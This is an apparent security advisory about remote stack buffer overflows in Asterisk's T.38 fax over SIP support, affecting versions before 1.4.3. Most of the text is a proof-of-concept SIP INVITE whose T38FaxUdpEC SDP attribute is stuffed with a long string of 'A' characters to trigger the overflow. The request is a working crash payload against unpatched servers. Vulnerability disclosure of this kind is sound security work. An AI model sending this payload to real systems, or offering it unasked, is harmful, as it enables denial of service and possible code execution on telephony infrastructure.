source: https://www.securityfocus.com/bid/23648/info
 
Asterisk is prone to multiple remote stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.
 
Successful exploits may allow an attacker to execute arbitrary machine code to compromise an affected computer or to cause denial-of-service conditions.
 
Versions prior to Asterisk Open Source 1.4.3, AsteriskNOW Beta 6, and Asterisk Appliance Developer Kit 0.4.0 are vulnerable.
 
NOTE: These issues occur only when 't38 fax over SIP' is enabled in 'sip.conf'. 

INVITE sip:200@127.0.0.1 SIP/2.0                                     
                                                                     
Date: Wed, 21 Mar 2007 4:20:09 GMT                                   
                                                                     
CSeq: 1 INVITE                                                       
                                                                     
Via: SIP/2.0/UDP                                                     
                                                                     
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
                                                                     
User-Agent: NGS/2.0                                                  
                                                                     
From: "Barrie Dempster"                                              
                                                                     
<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672 
                                                                     
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades               
                                                                     
To: <sip:200@localhost>                                              
                                                                     
Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>                   
                                                                     
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE            
                                                                     
Content-Type: application/sdp                                        
                                                                     
Content-Length: 796                                                  
                                                                     
Max-Forwards: 70                                                     
                                                                     
v=0                                                                  
                                                                     
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1        
                                                                     
s=-                                                                  
                                                                     
c=IN IP4 127.0.0.1                                                   
                                                                     
t=0 0                                                                
                                                                     
m=image 5004 UDPTL t38                                               
                                                                     
a=T38FaxVersion:0                                                    
                                                                     
a=T38MaxBitRate:14400                                                
                                                                     
a=T38FaxMaxBuffer:1024                                               
                                                                     
a=T38FaxMaxDatagram:238                                              
                                                                     
a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      
                                                                     
AAAAAAAAA